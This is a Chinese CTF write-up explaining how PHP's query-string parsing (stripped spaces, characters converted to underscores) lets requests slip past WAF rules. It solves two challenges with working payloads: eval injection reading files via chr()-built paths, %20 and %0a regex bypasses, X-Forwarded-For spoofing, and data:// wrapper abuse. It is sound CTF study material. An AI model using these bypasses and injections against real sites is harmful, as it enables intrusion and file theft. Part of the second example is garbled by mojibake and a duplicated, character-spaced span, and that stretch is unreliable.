Bootstrap

利用PHP的字符串解析特性绕过Waf

PHP的字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)

例如:

User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num=aaaa   //显示非法输入的话

那么我们可以在num前加个空格

http://www.xxx.com/index.php? num=aaaa   //显示非法输入的话

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

例题1.——[RoarCTF 2019]Easy Calc

查看源代码,发现有个防火墙
在这里插å¥å›¾ç‰‡æè¿°
waf和一个calc.php网页,我们先打开这个网页看看是什么

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');     // 存在高危漏洞,可以上传非法字符
}
?>

我们可以看见过滤了一些特殊字符,然后eval执行我们的命令,想着前面的waf,不可能是这样简单的,我们先试试传入一些字符试试。
在这里插å¥å›¾ç‰‡æè¿°
当我传入字符时,waf拦截了我们的请求

题目的突破点:

进行绕waf,首先我们知道了php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

**num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符。**如:
img
首先我们要先扫根目录下的所有文件,也就是scandir("/"),但是"/"被php代码过滤了,所以我们用chr(47)绕过,发现flagg文件

?num=1;var_dump(scandir(chr(47)))   # scandir() 函数返回指定目录中的文件和目录的数组。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。

在这里插å¥å›¾ç‰‡æè¿°
然后去读取这个文件就可以了,直接放payload:

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))                                                                                        #                                     /        f       1       a        g        g

获取flag
img

参考:https://www.freebuf.com/articles/web/213359.html

例题2.——[MRCTF2020]套娃

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

可知查寻字符串中要有下划线“_”或者%5f(下划线的URL编码),并且查询字符串不能为23333,但是查寻字符串又必须从头到尾是23333。
由前文可知:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符
2.将某些字符转换为下划线(包括空格)
User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

所以我们可以用%20代替下划线从而绕过第一个if,即:

/?b%20u%20p%20t=23333

这样在$query = $SERVER[‘QUERY_STRING’];里面的是b%20u%20p%20t,而在php在解析的时候,会先把%20解析为下划线“”。
第二个if中正则匹配表示匹配字符串的开头和结尾,由于 在字符串中换行可以表示字符串的结尾所以可以用%0a(换行符的url编码)绕过
最终payload:

/?b%20u%20p%20t=23333%0a

在这里插入图片描述
先是说flag在secrettw.php里面,我们访问secrettw.php看看
在这里插入图片描述
必须的本地访问,试试改http头
没用。。。。。
看看源码,艹:
在这里插入图片描述
是一段jsfuck编码,解密(或直接在控制台执行)
解码获得
弹框说post me Merak,让POST一个Merak,我们随便POST一个试试:
在这里插入图片描述
显示代码如下:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

后面的$ip = getIp();应该是使用了头部的takeip.php中的函数来获取客户端ip,再将获取到的ip赋值给变量 i p 如 果 满 足 ‘ ip 如果满足` ipip!=‘127.0.0.1’`则执行该if内的语句,但是这段语句没什么用,所以我们不用管,第二个if内的语句才是我们需要执行的
第二个if的判断条件为

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

也就是说需要满足两个条件
第一个条件 i p = = = ‘ 127.0.0.1 ’ , 这 个 很 容 易 满 足 , 只 要 让 g e t i p 获 取 到 的 值 为 127.0.0.1 就 行 了 , 一 般 只 有 X F F 和 C l i e n t − i p 这 两 种 方 法 , 我 们 可 以 用 b u r p s u i t e 来 提 交 ! [ 在 这 里 插 入 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 20200501111258744. p n g ? x − o s s − p r o c e s s = i m a g e / w a t e r m a r k , t y p e Z m F u Z 3 p o Z W 5 n a G V p d G k , s h a d o w 1 0 , t e x t a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 3 F x X z Q 1 N T I x M j g x , s i z e 1 6 , c o l o r F F F F F F , t 7 0 ) 第 二 个 条 件 ‘ f i l e g e t c o n t e n t s ( ip === ‘127.0.0.1’,这个很容易满足,只要让get_ip获取到的值为127.0.0.1就行了,一般只有XFF和Client-ip这两种方法,我们可以用burpsuite来提交 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200501111258744.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1NTIxMjgx,size_16,color_FFFFFF,t_70) 第二个条件`file_get_contents( ip===127.0.0.1getip127.0.0.1XFFClientipburpsuite![](https://imgblog.csdnimg.cn/20200501111258744.png?xossprocess=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1NTIxMjgx,size16,colorFFFFFF,t70)filegetcontents(_GET[‘2333’]) === 'todat is a happy day’首先通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,所以,经过到百度上各种CTF技巧的查找,发现这里可以使用data:// 来进行转换 格式为data://text/plain;base64,将todat is a happy day进行base64编码得到dG9kYXQgaXMgYSBoYXBweSBkYXk=,所以需要通过get提交一个名为2333的参数,值为data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=`
第二个if内的语句

echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file']));

还用到了一个名为file的get参数,用于返回文件内容,我们需要知道flag.php的内容,所以这里需要file_get_content的文件是flag.php,但是这里要注意file_get_content函数不是直接使用的$_GET[‘file’]的值,而是用到了上面说到的change函数来转换,我们来看一下change函数的作用

function change($v){ 
    $v = base64_decode($v);     // 先将变量进行base64解码
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+$i*2$i初始值为0,然后再转回字符
其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字

经过对照ASCII码表和计算,我们需要传递到file参数的值为“fj]a&f\b(fj]a&f\b经过change函数转换为flag.php)”的base64值,也就是ZmpdYSZmXGI=

我们反写change函数:

<?php
function unchange($v){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    
    $re = base64_encode($re);
    return $re; 
}

$real_flag = unchange('flag.php');
echo $real_flag;
?>

得ZmpdYSZmXGI=
所以,我们最终的payload为:
在这里插入图片描述
得到flag。

;